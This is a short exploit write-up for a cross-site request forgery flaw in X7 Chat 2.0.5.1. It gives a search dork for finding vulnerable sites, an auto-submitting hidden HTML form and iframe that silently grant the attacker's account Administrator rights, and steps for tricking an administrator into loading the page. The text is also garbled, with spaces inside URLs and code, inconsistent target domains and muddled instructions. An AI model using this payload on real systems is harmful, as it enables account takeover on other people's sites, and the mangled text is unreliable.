Title: X7 Chat 2.0.5.1 CSRF Add Admin Exploit
Keywords: intitle: "Chat Room" "Powered By X7 Chat 2.0.5"
Author: DennSpec: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip
Affected Versions: <= 2.0.5.1
First, register and obtain a user name.
(Frame.html in path of your main html page)
<Html>
<Body onload = "document. xform. submit ();">
<Form name = "xform" action = "http: // www.2cto.com/x7path/index. php? Act = adminpanel & cp_page = users & update = YOURUSERNAME "method =" post ">
<Input type = "hidden" name = "username" value = "YOURUSERNAME"/>
<Input type = "hidden" name = "usergroup" value = "Administrator"/>
</Form>
</Body>
</Html>
Replace http://www.bkjia.com/x7path/for your destination address. Don't forget to replace YOURUSERNAME with YOURUSERNAME.
Add this code to inside body tag of main html page:
<Iframe style = "display: none;" src = "frame.html"> </iframe>
And... upload main page and frame.html.
Send this page to any administrator...